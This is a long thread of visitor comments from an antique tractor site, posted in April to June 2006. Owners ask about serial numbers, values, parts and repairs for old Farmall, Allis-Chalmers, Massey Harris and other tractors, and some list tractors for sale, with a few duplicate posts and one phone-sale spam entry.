Jake wrote on Thursday, June 08, 2006 (PDT):Recently came across a Farmall Cub that may be for sale. The serial number is 186159-J. Tractor is in rough shape. Needs tires-Don't even know if it runs. Can anyone give me an idea of what is may be worth and what year it is. No mower or any extras with it.
anthony brown wrote on Thursday, June 08, 2006 (PDT):i have a 1939 farmall b it is rusted and needs tires but overall looks good can u give an estimate on what it is worth.
Kyle Williamson wrote on Tuesday, June 06, 2006 (PDT):I just got a case tractor. For the model number it says its a 520. It looks very similar to this csae 500 i cant find any info on this tractor.call me at 803-609-6773
Bobby wrote on Monday, June 05, 2006 (PDT):I am looking for the selector assembly that goes on the dash in front of the seat. I purchase my Ford 671 select o speed and it runs perfect, but it is missing the selector to put it into gear. Also, does anyone know of a way to manually put it into gear so i could test the transmission....Any help would be appreciated...
Linda Wright wrote on Monday, June 05, 2006 (PDT):I am probably one of the few women who owns a 1962 Mc Cormick International Farmall 560. I bought it with a front end loader and a Graham Hayme chisel and have been repainting it and have used it some and find it more complicated than the Ford I owned when I was married. I have the original manuals. Are their other farm ladies who have tractors?
Marv Meyer wrote on Monday, June 05, 2006 (PDT):Looking for a 220, a 4W220 would be great, as my primary tractor in central MN. Thank you. 320-987-3113.
Thomas Payne wrote on Monday, June 05, 2006 (PDT):I have two identical F-12s, both with cultivators onboard, steel wheels, narrow front ends, recently retrieved from a hedgerow. Only one of them still has a tree trunk attached. For somebody serious, I believe one or both of these could be restored. Otherwise, they will make nice lawn ornaments on either side of my driveway.
BOB MAZZA wrote on Sunday, June 04, 2006 (PDT):RESTORING A G LOOKING FOR THE BRACKET THAT MOUNTS ON THE TRACTOR FOR THR PLOW.
Jacob Line wrote on Saturday, June 03, 2006 (PDT):does anyone know what the value of a 1955 or 56 Farmall B tractor is? My grandpa had an old one and my dad is the one who now owns it. If you need a picture I should be able to supply one in a few days.
Mike Clements wrote on Saturday, June 03, 2006 (PDT):I have a 1948 Mod. B. It had mounted cultivaters on it when got it. A one bottom plow was with it. How does the plow mount or hook up? The plow has a long arm and one coulter and one bottom. Are there some kind of couplers for it?
Greg wrote on Saturday, June 03, 2006 (PDT):I just bought a Fordson Dexta 1963 3 cyl diesel and it is a beast!!! I'm looking for the Service Manual. I also need to know more about the hydraulics of a Woods Boost arm that I have running off the 3 point hitch on the back. Tractor seems to only have one hydraulic hook-up while there is a two-way cylinder on the arm. Any help would be much appreciated!
mike,IN wrote on Friday, June 02, 2006 (PDT):I recently bought my grandpas 53 golden jubilee.It really works well. I would be interested in a set of tracks.Does anyone have any information . thanks
Richard Silver wrote on Friday, June 02, 2006 (PDT):I have been looking for a manifold and other parts for a 1953 Cockshutt 50 serial #924. If anyone knows where I can find these please contact me. I want to get this tractor going. Thanks
Art Corbit wrote on Friday, June 02, 2006 (PDT):Aaron it sounds like you don't have your lift hooked up right. Also those plow points must have a long nose on the front of the point and turned down pretty good. Both the fromt and rear of the blow must be lifted. How low you let the front down determines how deep the plow goes. The lone "U" shaped draw bar turns around backwards and bolts to reach gear housing on the rear. A chain or bar goes own from the front lift to the draw bar. It bolts with only one bolt on each side where it can move up and down. You don't have to lift the front of the plow every time you lift it out of the ground. Just adjust the front lift where the plow will go as deep as you want it to. The back lift will pull it out of the ground just fine. That little super A is a fine little tractor and quiet a work horse. If you have anymore qiestions please feel free to email me. Art
Art Corbit wrote on Friday, June 02, 2006 (PDT):I have owned and used several small tractors and I have never found one that would even come close to the G model Allis. Pound for pound it will out pull anything it's size. Sure wish I could fined a good one now will all the tools. That is close enough to Arkansas that I could go get it.
Larry Brown wrote on Thursday, June 01, 2006 (PDT):We have a 1949 Farmall C which I completely overhauled with oversized pistons and made a super C out of it. Everything in the engine has been replaced with new parts. I also put in a new clutch pressure plate and throw out bearing. The tin on it is almost like new. Ididn,t repaint it. Also rebuilt the carbureator. Can anyone tell me what the selling price on this tractor would be?
Mike wrote on Thursday, June 01, 2006 (PDT):I don't know how to give it more power but don't you think that those tires are a little big for being a stock tractor.
Mike wrote on Thursday, June 01, 2006 (PDT):My Grandfather bought a "G" and restored it but he is looking for the hood to go over the motor. If anyone knows where I can locate one I would appreciate it. It would make a great gift and make a nice finish to the tractor.
jeff foltz wrote on Wednesday, May 31, 2006 (PDT):i have a russel steam tractor serial number 16263 can anyone tell me how to find out what year it was built. it is 16 h.p. on the draw bar and 48 h.p. on the flywheel.
Ryan J. Sample wrote on Tuesday, May 30, 2006 (PDT):I have a 28-44 with a hydraulic bucket and backhoe that started it's life on a farm not far from here in 1937. I am in the process of restoring it and need a few parts like a manifold and head gasket. I would sure appreciate any help.
Tom Fourman wrote on Monday, May 29, 2006 (PDT):I have a 1950 MH 44 with a manure loader on the front. It needs repainting. Otherwise, it is in good condition. A friend wants to buy it; but I have no idea what it is worth. Can anyone tell me a fair value? Thank you.
Whit wrote on Monday, May 29, 2006 (PDT):We have an Allis Chalmers 35 crawler with grader out on the farm, hasn't moved in about 30 years. Kinfolk are selling the property, said we could sell any old machinery, this in a neat piece, but rather rusty... It's in south central Texas, sorry no delivery. Pics here... www.pbase.com/whit2/farmfinds&page=6
Derek Norton wrote on Monday, May 29, 2006 (PDT):I have recently came across a 44 Special gas. It is a 1955 model. It appears to be complete and fairly staight. It only has some minor dents and surface rust. The motor is locked up but the block appears to be good. Can anyone tell me roughly what it would be worth. If anyone can help E-Mail me DMSBNorton at Yahoo.com Thanks
Horace Moody wrote on Sunday, May 28, 2006 (PDT):The same MH-44 has some ignition issues as well - has anyone installed an electronic ignition system? If so, what type? Where can I find a new coil for this, or will any coil off the shelf work? Thank you.
Horace Moody wrote on Sunday, May 28, 2006 (PDT):I've been working on a MH-44 with carburetor problems. Rust is a big issue - does anyone offer an "after market" version with an alloy case?
Buster Guidry wrote on Saturday, May 27, 2006 (PDT):I have a yellow and white IH cub tractor serial # 235844 J and am trying to find info about the model and what year it is. Can anyone tell me where I can find info about my IH.
wayne fausnight wrote on Friday, May 26, 2006 (PDT):can some one tell the way too start lp.gas, the tank has two valves on it do you open one or both? It is a D 17 Allis Chalmers
Adam wrote on Thursday, May 25, 2006 (PDT):I have a 560 with a gas motor and TA. I'm trying to get set up to Tractor Pull. I've got 18.4-38's and weight bars. But i want to give it more hp. what can i do??
Ryan Baxter wrote on Thursday, May 25, 2006 (PDT):I finally got the Farmall H i wanted its a 1942 the front whelles shake and the voltage regulator is stuck i just ordered a new one can wait to take the first ride.
Paul W. Larrabee wrote on Thursday, May 25, 2006 (PDT):Looking for a 5 spd. transmission for a 1970 Allis Chalmers Model 160. This is a 3 cyl diesel.
Paul W. Larrabee wrote on Thursday, May 25, 2006 (PDT):Looking for a 5 spd. transmission for a 1970 Allis Chalmers Model 160. This is a 3 cyl diesel.
Ron naylor wrote on Wednesday, May 24, 2006 (PDT):Hello; I recently bought two original pieces of literature for these Yuba Tractors(one for model 20-35 and one for a model 12-20. Can anyone tell me about when these models were manufactured? Thanks, Ron
emmanuel wrote on Tuesday, May 23, 2006 (PDT):mobilephone_shop2006 at yahoo.com Nokia 6020 tri-bank edge gsm/gprs $224.99 Nokia 7610 tri-band gsm/gprs $324.99 Nokia 9500 tri-band pda gsm/gprs $724.99 Nokia 6822 gsm/gprs phone $274.99 Nokia 6650 $180usd Nokia 6670 smart phone $200usd Nokia 6820 $190 Nokia 7200 $195usd Nokia 9300 $220usd Nokia 7250i $175usd Nokia 8800 ...$220usd Nokia 9210i communicator $160usd Nokia 9500 communicator$260usd Nokia 9300 communicator..$200usd Nokia n-gage $180usd Nokia n-gage qd.$200usd Nokia n92 $280usd Nokia n91 $200usd Nokia n90 $170usd Nokia n70 $160usd Nokia 1100-- 100 USD Nokia 2100-- 100 USD Nokia 2300-- 120 USD Nokia 3100-- 145 USD Nokia 3108-- 140 USD Nokia 3200-- 140 USD Nokia 3230-- 140 USD Nokia 3300 - 140 USD Nokia 8910 Titanium-- 180 USD Nokia 8910 Black-- 185 USD Nokia 8910i--185 USD Nokia 8890-- 170 USD Nokia 8850 Special Edition-- 155 USD Nokia 8850 Gold Edition-- 140 USD Nokia 8855-- 145 U
Ben Giroud wrote on Monday, May 22, 2006 (PDT):I have a black dash 720 diesel in show condition with electric start & origional wide front but I recently noticed I am getting fuel in the crankcase whether running or not. Has anyone had this problem with a 720d?? It runs great, has great oil pressure and plenty of power as I have pulled it twice along with my other brands of tractors and done very well. I recently got a diagram of the possible leaking locations and found this was common problem on the older JD 80 diesels. Any comments or possible easy solutions to this problem would be appreciated as I am reluctant to tear into this problem without help.
Wally wrote on Monday, May 22, 2006 (PDT): An old friend of mine has what I believe to be a model 81 in his back yard. He would like to sell it. He lives in Connecticut. It is a near running tractor, outside of a rusted manifold.
Carol Anderson wrote on Monday, May 22, 2006 (PDT):I am looking for decals (not like all the ones I see on Ebay) for my son's 1971 Farmall. He rebuit the engine and painted it a month ago and can not find decals like the ones he removed. The tractor is the cream and yellow one and the decal on the hood was a sticker about 24" long and 4" wide. The top part of the sticker was Red and said INTERNATIONAL AND THE BOTTOM SAID CUB CENTERED IN BLACK WITH FOIL LOOKING STRIPES ON EACH SIDE OF IT. If you can help I can email you a picture of the decals. Thanks. Please contact me at razz at 1st.net.
albert wrote on Sunday, May 21, 2006 (PDT):just putting in a clutch on a Cockshutt Standard but don't really know what model it is also cannot find low range, nor could previous owner who claimed an acquaintance once showed him any help?
Adam Cox wrote on Sunday, May 21, 2006 (PDT):My neighbor has what I think to be a Farmall M he wants to sell me for $700, it has a wide front end and is decent shape. Any info on how to make sure this is in fact an M and any other info on these tractors would be great, Thanks adamtcox at gmail.com
Jim Stachoviak wrote on Saturday, May 20, 2006 (PDT):I just bought a 1955 super 55 with a loader and back scraper this week..Runs good after tune up etc.. BUT the loader Hyd. and the three point hyd. sort of loose altitude after the equipment is used for a short time. The oil looks as if there is water in it,, {ie milky} I am going to drain it out and add all new..Is the oil hydraulic oil, or 30 sae oil? Also where can I find a good repair manual for the Oliver 55 ?? I just found this site.. I hope it is a lively site... If it is, let's keep it going..
Jay Heier wrote on Friday, May 19, 2006 (PDT):I'am having a problem keeping my throttle in place on my 1950. Do you tighten spring by govenor or is there a friction disc underneath the dash somewhere. Thanks for some feedback J
carl britton wrote on Friday, May 19, 2006 (PDT):i am begginer with the antique tractor thing so far i have a 1956 international 300 utility and i was wondering where the timing marks were on it, if somone could tell me i would appreciate it
carl britton wrote on Friday, May 19, 2006 (PDT):i am begginer with the antique tractor thing so far i have a 1956 international 300 utility and i was wondering where the timing marks were on it, if somone could tell me i would appreciate it
Henery Shumaker wrote on Friday, May 19, 2006 (PDT):David Siders, this is a normal sound. We had a series IV d-17 and it did the same thing. its just the gears
Valley wrote on Friday, May 19, 2006 (PDT):Hi. I am from Quebec-Canada the home province of J. Armand Bombardier who invented this device. In his brief description Bob is right and here are two links that will lead you to the invention itself. The first one show you the invention in motion while the second gives drawings of the patent itself (responds to Nathan's question). The invention at work www.fjab.qc.ca/en/content/jab/biographie1949_1958.htm The invention itsef ; www.fjab.qc.ca/en/content/jab/brevets2.htm As a kid I saw many of these rigs on farmer' tractors and wood yard hauling in winter. I have a 9N and in process to buy one. Have fun! Valley
Bill Riggs wrote on Thursday, May 18, 2006 (PDT):For sale 1963 D15 series ll ser.# 15-16454 w/5'heavy duty bush hog.Tractor is in perfect cond.and has lots of new parts.Can supply pictures.Call Bill at (270)683-0779 Owensboro,KY
tom dale wrote on Thursday, May 18, 2006 (PDT):I have a 1947 and still use it. This summer I will convert it to 12 volt. I need attachments?
Thomas wrote on Thursday, May 18, 2006 (PDT):I own a 1954 Ford offset workmaster but I have no attachments. What kind of attachments come for this tractor?
R Williams wrote on Thursday, May 18, 2006 (PDT):I have a Massey Harris 44 early model (not sure what year)I am in need of brake drums (2). The drums that for this tractor has six (6) bolts each drum that hold it on to the shaft. I need parts. Can anyone help?
B. Joseph wrote on Thursday, May 18, 2006 (PDT):We have a 1964 550 which my Dad purchased used in the early 70's. We used it every day hauling feed and many other duties feeding 1600 hogs farrow to finish each year. In 30+ years of farming with many tractors, I've always said this little workhorse was and is my favorite. I love the power steering and live pto. Now in my later years with the kids gone and married, I am getting up my courage to restore this little favorite! We still use it to mow and run augers. We don't have the hogs anymore! Suggestions would be appreciated!
colin colbourne wrote on Wednesday, May 17, 2006 (PDT):in these forums i see on a regular basis the question of engine color. i cannot remember the paint codes off the top of my head. the rims were painted straw yellow. the tractor itself is red. the engine was painted red except on wartime models. these were painted black. the war times models would run from 1941 to 1945.
Tommy Ohlenforst wrote on Wednesday, May 17, 2006 (PDT):I own a Case VAS tractor. I am having a hard time finding replacement parts, mainly rubber gaskets...where can I purchase parts? I also own a Case Rice Thresher, where can I purchase parts?
coy tite wrote on Tuesday, May 16, 2006 (PDT):I have a 1952 Sc and I am tring to find Main Rod Bearings I need them to be -.020 and I am also looking for front and rear seals for my tractor. I haven't had any luck yet tring to find them so maybe someone can help a guy that just wants his tractor running again. Thank's Coy
lee thjomas wrote on Tuesday, May 16, 2006 (PDT):Does anyone know where i can get a hand crank for a leader tractor or some measurements so I can make one thanks lee
Kelly Slaughter wrote on Tuesday, May 16, 2006 (PDT):Allis Chalmers AC 160 for sale. Runs but has a knock -- needs rebuild. Transmission, tires, metal all good. Power steering, 3-cyl. diesel. Privately owned, never been on farm. Yuma, Arizona. Make offer.
Marian McGrew wrote on Sunday, May 14, 2006 (PDT):I am looking for a picture of a JD model A tractor. I want to put a keepsake picture album of all the tractors my dad had on the farm.
don leggett wrote on Sunday, May 14, 2006 (PDT):i have a IH 1066 with cab. the inside is gutted and i would like to replace it if i could find it. any help would be appreciated - thanks don
ron allman wrote on Sunday, May 14, 2006 (PDT):I have a leader that is running not so well. It could use a new fuel tank. I could build one but would prerfer to keep it original ( know this may be hard to do) but if any one has info. not only on fuel tank, but on every thing i sure could use some. I have asked many people about this tractor but this is a rare tractor here in saskatchewan, canada. Any info would be gladly aprecated, to help me restor my granfathers tractor. Thanks
ron allman wrote on Sunday, May 14, 2006 (PDT):I have a leader that is running not so well. It could use a new fuel tank. I could build one but would prerfer to keep it original ( know this may be hard to do) but if any one has info. not only on fuel tank, but on every thing i sure could use some. I have asked many people about this tractor but this is a rare tractor here in saskatchewan, canada. Any info would be gladly aprecated, to help me restor my granfathers tractor. Thanks
ron allman wrote on Sunday, May 14, 2006 (PDT):I have a leader that is running not so well. It could use a new fuel tank. I could build one but would prerfer to keep it original ( know this may be hard to do) but if any one has info. not only on fuel tank, but on every thing i sure could use some. I have asked many people about this tractor but this is a rare tractor here in saskatchewan, canada. Any info would be gladly aprecated, to help me restor my granfathers tractor. Thanks
Gene Elliott wrote on Sunday, May 14, 2006 (PDT):I'm the proud 2nd owner of a 1950 Cockshutt 30 E-3 ,narrow front that runs and operates fine ,it was found at a dealer that had taken it in on a new tractor deal.The tin is practically unblimished ,I regrounded the lights and they work fine. I have no use for the tractor ,only storing it till I can sell it ,so contact me if you want to buy a nice Model 30 , we can negosiate a selling price.
Dwight Hoover wrote on Saturday, May 13, 2006 (PDT):my father is 80 farmed most of his life owned and ran many makes of tractors and machinery. he loved to grow corn and alfalfa for his dairy cows. his favorite tractor of all time was a 1942 silver king. it was the first tractor he owned when my mom and he started farming. if anyone has any info on where i could find one i would like to buy one for him thank you and keep farming dwight.
Brendan wrote on Saturday, May 13, 2006 (PDT):Has anyone out there removed the steering wheel from a Farmall A? I spent all winter coaxing the nut off with lots of penetrating oil and patience, afraid I'd break it. After I got that off, I dimpled the steering shaft with a gear pull before learning that underneath a bit of rust hid a drift pin or key. Gentle tapping does nothing, but I don't know in which direction to use greater force. It looks as though drifting it back toward the driver might damage the teeth of the shaft. Please help, feel free to email to "lawbrendan at chartermi.net" Thanks.
Dick Cranston ( New Bern, N.C. ) wrote on Saturday, May 13, 2006 (PDT):Need to rent a one or two bottom pull-type plow for one day. Brought a lot that needs to be plowed under first. I have a Allis-Chalmers "B" tactor. Thank you, Dick
Dick Cranston ( New Bern, N.C. ) wrote on Saturday, May 13, 2006 (PDT):Need to rent a one or two bottom pull-type plow for one day. Brought a lot that needs to be plowed under first. I have a Allis-Chalmers "B" tactor. Thank you, Dick
Shawn Whiteley wrote on Friday, May 12, 2006 (PDT):I was wondering if anyone could tell me About my tractor? I know it is a D17 And I was wondering what year it was And what Series it is? I have the Tractor Serial # D1722688D And The Engine Serial # 107360 I think these are correct not for sure though they where in a book that came with it. But if anyone coulnd tell me about my tractor It would be helpfull Thanks
nate wrote on Friday, May 12, 2006 (PDT):it is great
nate wrote on Friday, May 12, 2006 (PDT):it is great
nate wrote on Friday, May 12, 2006 (PDT):it is great
nate wrote on Friday, May 12, 2006 (PDT):it is great
nate wrote on Friday, May 12, 2006 (PDT):it is great
nate wrote on Friday, May 12, 2006 (PDT):it is great
nate wrote on Friday, May 12, 2006 (PDT):it is great
Michael Maiyo wrote on Wednesday, May 10, 2006 (PDT):I am an upcomming young small scale farmer in kenya seroiusly looking for JD 2130. I seen it action.Kindly let me know where to find one and how in its farm/silver condition Thank You
tracy sr wrote on Wednesday, May 10, 2006 (PDT):I'm in the process of restoring my 1940 vc case,it's just like the one in the photo. above, looks and runs great,but the rims on the rear need replaced 9x32.I would appreciate any info. on where to find rims thanks. montana
Donald Gresko wrote on Wednesday, May 10, 2006 (PDT):My dad had two 1929 case tractors one with rubber tires and one with steel.I drove both of them plowing,spraying fruit trees,pulling out trees and all kinds of other things.these were great tractors, you could never over work these tractors believe me i tried . use to start them up on gas put a piece of cardboard in front of the radiator when the water started to boil then I would change over to kerosine and run all day long.DON'T know what happen to them they were parked behind the barn when my dad passed away about 18 years ago.reading all these comments brings back memories and the good old times. I was 8 years old when i first drove one.what a thrill that was.that was better then drinking a cold bottle of Bud.
kenny wrote on Tuesday, May 09, 2006 (PDT):hello looking to buy a pacer please email me if u have one for sale
dan wrote on Tuesday, May 09, 2006 (PDT):what size rear rims do these tractors have. thanks
Rachael W wrote on Tuesday, May 09, 2006 (PDT):Any ideas for an arena groomer that we can use on our Eagle hitch? We are using a parma arena groomer only as a pull behind. If we try to use the Eagle hitch it the implement misses the ground by 5 inches. Any ideas on a different implement or modifications for the current implement? Thanks
Sycor wrote on Tuesday, May 09, 2006 (PDT):I am looking to purchase an 800 series tractor in good condition. I live near Chicago.
Bill Riggs wrote on Monday, May 08, 2006 (PDT):I stated in my comments on wed. 2003 That my AC-d-15 series-11 was a 1967. I checked the serial no. and found it to be a 1963 model. This tractor is pristene and i love it.congratulations to all you d-15 lovers.
David Siders wrote on Monday, May 08, 2006 (PDT):i have a series 4 d 17 it makes noise in the transmission rearend area when it is backing up also when coasting down a hill is this normal for this tractor or does anyone know what might be causing it thanks David
John Mater wrote on Monday, May 08, 2006 (PDT):I need a carburetor or rebuild kit for a International 300 utility. I would also be willing to sell the complete tractor, with front loader and backhoe. Located in lower Michigan.
KELLY ONEAL wrote on Sunday, May 07, 2006 (PDT):LOOKING FOR A FRONTEND BUCKET AND ALL HOOK UPS TO FIT MY D17 ALLIS CHAMBERS, WIDE FRONT END, LIVE PTO, SNAP COPPLER, PS, HAS HDY, 4 CYL GAS ENGINE. IN SUROUNDING STATES OF OKLAHOMA. PHONE 580-243-8820 KELLY
Mel Hansen wrote on Sunday, May 07, 2006 (PDT):I am looking for imformation on a Nuefled 460 I have the tractor but no imformation
Randy Blackwell wrote on Sunday, May 07, 2006 (PDT):I have a 1964 2000 Offset. Does anyone know how many offsets were manufactured?
J.Arnold Jacobs wrote on Saturday, May 06, 2006 (PDT):I am in need of someone to tell me about my old Ford Dexter tractor. It needs hydrolic oil. MY question is,the type and weight and wheres the place to put it into the tractor. Wheres the location of the filler plug? Thank you for your help.
J.Arnold Jacobs wrote on Saturday, May 06, 2006 (PDT):I am in need of someone to tell me about my old Ford Dexter tractor. It needs hydrolic oil. MY question is,the type and weight and wheres the place to put it into the tractor. Wheres the location of the filler plug? Thank you for your help.
Mary in Mo. wrote on Saturday, May 06, 2006 (PDT):We have a 1947 WC that we had running last summer. We had to pull it with my four-wheeler to get it started because we thought the starter was out. We recently brought it in town to sell it and the motor is froze up. Can we break this motor loose by squirting some oil into the cylinders and replacing the plugs. Please I need your help with this for we are selling it for my mom to pay bills off. Thank you.
Steven Sletten wrote on Saturday, May 06, 2006 (PDT):I have a Massey Poney. S.N. PGA3714A can you tell me what year it was made. It has been refurbished and is for sale.
Doug Brown wrote on Friday, May 05, 2006 (PDT):I need a complete 4 cyl. diesel for my fordson major super? Or can I buy a frsh short block? rod went through side of block! I may be interested in selling tractor for parts if I cannot find replacment motor.
Jared Keller wrote on Friday, May 05, 2006 (PDT):I have a Co-op 2 or 3 for sale not sure of the year. Can get serial number. This tractor was sold by Farmers Union in the 40's has a Chrysler 6 cylinder engine & also Farmhand loader. Contact me for pictures & pricing.
Jared Keller wrote on Friday, May 05, 2006 (PDT):I have a 1947 Cock-Shutt that I am selling. Serial 47-30-2134. Factory hydraulics. Good shape, sat in a barn for 14 years, ran up til then. Contact me for pictures & pricing.
S.R.Green wrote on Wednesday, May 03, 2006 (PDT):I have a 1948 case tractor with no ser. or model number. On all the parts on the tractor is VT then a number. Does anyone know what model it is. I'm also trying to find manuals on this tractor also. Can anyone help me, please
david wrote on Wednesday, May 03, 2006 (PDT):I am looking for a replacement fertilizer tube for a farmall super A. anyone know where to find them thanks david
Danny Rhodes wrote on Tuesday, May 02, 2006 (PDT):I am looking for a manual hand crank for my Pacer. Anyone with one or knows anyone with one that wants to get rid of it, please email me.
Aaron Fuss wrote on Monday, May 01, 2006 (PDT):I have a Super A with a sigle bottom plow , need help , will not dig in and plow , hooks in front under tractor in front with y shaped bar , each side of the open of the y bolts on , other end to tounge of plow it a channel shaped open for a bolt , the back of the plow hooks to the down ward pointing J shaped bars with two holes in them that lift the plow , the plow will only drag is some thing missing , what makes the plow tilt in to the ground instead of dragging ? What controls the tilt of the blade , am I missing a piece between the y bar and plow tounge ? Thank you for any help.
Michael B wrote on Monday, May 01, 2006 (PDT):I just bought my first tractor a d17 with cab, I am also getting a front end loader to go on itthat was on anlother d17, it is a trip loader. I would like to get info pics and models of hydraulic pumps and valves to put hyd on front crank. I want to put hyd on loader and bucket dump, also thinking about adapting loader to quick attach plate has anyone done this. I also need a bush hog and a disc for my d17. thanks Michael B
Wayne Johnson wrote on Sunday, April 30, 2006 (PDT):I own a 966, but I saw a 1066 this weekend and I am thinking about changing tractors. Any opinions about the difference except for horsepower...I just might have to keep both...
Zach Wisen wrote on Saturday, April 29, 2006 (PDT):I have always wanted one since I first saw one. Here is a great site about them.There a movie of it pulling also. www.twocylinderdiesel.com/The_R/index.html
SC Bob wrote on Saturday, April 29, 2006 (PDT): I have a Oliver 44 that is missing the hood and grill.It is in fair shape and I am in the process if getting it running.Looking for a hood and grill or might sell it when I get it running.How much would it be worth?I am in the upstate of South Carolina.Thanks in advance rsgeorge2 at juno.com
clayton wrote on Friday, April 28, 2006 (PDT):I have a Field Marshall and I need some parts. I think it is a series 3....three foot pedals. I don't know the serial #, no tag. Anyone with parts in Canada or close to Manitoba please contact me
clayton wrote on Friday, April 28, 2006 (PDT):I have a Field Marshall and I need some parts. I think it is a series 3....three foot pedals. I don't know the serial #, no tag. Anyone with parts in Canada or close to Manitoba please contact me
Brandon Scheuring wrote on Friday, April 28, 2006 (PDT):Me, my grampa and my uncle farm with molines and whites, in all we have over 20 tractors. everything from Z's to A4T. I would really like to get my hands on a G1000 Front Wheel Assist, dont matter what condition or where at.. please let me know.. (712)-579-2263
john nelson wrote on Thursday, April 27, 2006 (PDT):my dad and i used to farm with a 55 massey harris tractor. it was great. there is still a lot of them around but they dont get used as much any more. massey harris tractors are the best!!!!
Allen Brinkley wrote on Thursday, April 27, 2006 (PDT):I am looking for a 2 row planter and sickle bar mower for my 1948 AC G. Anyone know any good places to look in MO or IL?
verlin logan wrote on Thursday, April 27, 2006 (PDT):I'm wanting to buy a 140 farmall tractor.the tractor i've been told is a 1976 and is in good condition. what is a good selling price ? what is this tractor worth? someone please let me know.verlin in arkansas
Richard Wilson wrote on Thursday, April 27, 2006 (PDT):My father had a 1936 T20. A good many years ago, he sold it to a collector. This was during the mid 70's. It started and ran well. Several months ago, I found a series of photographs of the crawler from various angles and have been unable to find them again. This machine had a foot clutch. I am curious as to whether all T20's had this. What years were they made?
Freddy Scott wrote on Wednesday, April 26, 2006 (PDT):I own a 39 AC b tractor. I have been having problems with the hydralic lift pump my question is can I rebuild the hyd. pump or do I have to repace it and the last question is where could i purchase either one?
Wes Westbrook wrote on Wednesday, April 26, 2006 (PDT):I am looking at a 2010 that has a Massey Ferguson loader. The loader moves really slowly. I'm told all it takes is some kind of modification. Any suggestions?
Wade Stoby wrote on Wednesday, April 26, 2006 (PDT): Trying to sell my dad's County Super 6 that he bought new in '65 or '66. It has the 590E 330cid diesel in it and it runs well. Pretty rare and unique tractor, wouldn't take much to restore. I am looking for $12500 for it. It is located in Alberta,Canada.
S. Anderson wrote on Wednesday, April 26, 2006 (PDT):My Father (in Minnesota) has a 1960 (about) John Deere 730 Diesel with wide front, electric start, 24 volt system, JD fenders with lights, live hydralic, live power take off, dual hydrolic system, JD 3-point hook-up, power steering, good rubber on tires and overall is in excellent condition. He is 76 years old and is starting to think (typical farmer) about retirement. Can someone give me an idea of what this tractor is worth? He has received some inquiries about selling. Thank you.
steve macmullin wrote on Tuesday, April 25, 2006 (PDT):I have just recently aquired a 1949 massey pony.anyone know where to get decals and manual for this machine runs great. came with snow blade and plow.
Dave Benedict wrote on Monday, April 24, 2006 (PDT):I just purchased a case SC although it has a wide front end I have seen pictures of other tractors however the front axel looks different than what I have. Is there some where I can find out if what I have has been modified?? Thank You Dave
Helen Davidson wrote on Monday, April 24, 2006 (PDT):Looking to purchase an International Farmall Super A Hi-Crop Tractor. Perferably with some attachments. Will consider one in non-running condition.
Brad Gambino wrote on Monday, April 24, 2006 (PDT):I bought a Massey Harris 44 gas, 4 cylinder, serial number 44-GR-20649, i am in need of the three point system that goes from the rock shaft to the draw bar. If anyone can help me out my e-mail is brad_gambino at yahoo.com. Thanks alot!
Matt Reardon wrote on Sunday, April 23, 2006 (PDT):I am 19 and have farmed with my dad all my life. He bought a 1066 when i was about 5, and they are inseparable. the pumps are turned up and she is puttin out about 165 horse. We own a 1250 Gehl pull behind chopper and that 10 is amazing...just sit back and watch her work as she blows black smoke up 30 ft first thing in the spring season!! I wouldnt giver her away for my life. We also own an IH 966, two 1066s, 986, and a Case 1210 and a 1494...NO GREEN ON THIS FARM!!!
Paul Doody wrote on Sunday, April 23, 2006 (PDT):Hi, first time on this sight, very interesting. My question,on the back of my oliver 770, which side does the red light go on to ?as you know there is a red light and a while light . thank you in advance for your help. please email me doojp at aol.com
dave wrote on Sunday, April 23, 2006 (PDT):grant; i have two 66 gas tractors in pretty good shape that a kind loving home.$2500 each (815)359-4378
John Manning wrote on Sunday, April 23, 2006 (PDT):I Purchased a Farmall H TODAY!! Very neat machine. I drove it home. Purchased it from a lady whos husband had it and did and didn't know much about it. Does anyone know any source I can search for info with the tractor serial number?
ROSCOE wrote on Sunday, April 23, 2006 (PDT):I have a 1954 wd45, with a loader that I installed. I set up my tractor so it would operated as live hydraulies. I had a valve built to control lift and bucket. Bucket is two way pressure and the lift is up pressure only. Once I went through the valve I installed I lost pressure, I have jacked the pressure setting on the valve in as far as it will go. I know these systems are high pressure,what is a good number on pressure, or any other thoughts.
RYAN YENGER wrote on Saturday, April 22, 2006 (PDT):Looking for a wide front end for my 560. Is there still aftermarket manufacturers making this? Prefer to buy original parts but willing to go aftermarket if needed.
Jim wrote on Saturday, April 22, 2006 (PDT):I have a cleveland tractor GENERAL that is complete but in poor condition and would like more information or would like to sell to a good home it is a GG with a readable id tag please write me at amber8706 at peoplepc.com
JIM MCKENZIE wrote on Saturday, April 22, 2006 (PDT):I am looking for a 1955 300u ihc steering box.
Robert Esteppe wrote on Saturday, April 22, 2006 (PDT):Can you tell me where to get a shop manual to rebuild a International 300 Utility tractor?
jerry wrote on Friday, April 21, 2006 (PDT):I have a 1958 fordson major with a bad oil pan Does anyone out there know where i can find one?
Kevin Rocks wrote on Thursday, April 20, 2006 (PDT):One more question,It has what I think are called dust shields that are attached to fenders and are in front of peddles.What are the purpose of these?Are these rare? Please bare with me.Thanks
Kevin Rocks wrote on Thursday, April 20, 2006 (PDT):I recently bought a 1959 ,770 gas.I own several tractors different makes.I truely love this tractor.(please dont tell my wife) Its got a wide front end.Can I put power steering on it?If so does anyone have the parts to do this?Thanks
Darrel weippert wrote on Thursday, April 20, 2006 (PDT):I think I know where one of these tractors is at the only number on it is 248728 ih painted yellow wanting to sell it
Don Loney wrote on Thursday, April 20, 2006 (PDT):I seen a massey traqctor which appears to be a pony model. It has a fork lift mounted on the back. The brakes and clutch pedals are mounted so the operator sits and faces the rear of the tractor.does antone if this was a production model?
Brandon wrote on Wednesday, April 19, 2006 (PDT):My dad and I just bought a Case tractor that is almost identical to the one pictured above. However, we have been told by a few people that this is absolutely not a Case L because a L is a lot bigger than this one. We have no idea what it is if it's not an L. Any thoughts? Is there another model that looks like this? Also, does anyone know what the horsepower is on this tractor? Any information would be appreciated.
Kev wrote on Tuesday, April 18, 2006 (PDT):I am currently restoring a 52 Fordson Major and would like to know what the correct colour blue and orange is. This tractor has the solid cast front wheels.
charles english sr wrote on Tuesday, April 18, 2006 (PDT):I have owned D 103264 for 38 years, also have 131396 & 131407, these two were built the same day that I was born. My most famous D is 131570, It was painted 'Gold LEAF' for the 100 year anniversary of John Deere making his first plow in 1837. My two 1953 Streeters are 191654 & 191661.
Richard Kinney wrote on Tuesday, April 18, 2006 (PDT): I have an Oliver 770 gas fueled row crop tractor for sale. This tractor runs great, has excellent sheet metal, and new tires. A really sharp tractor for $3,500. (701)696-2476
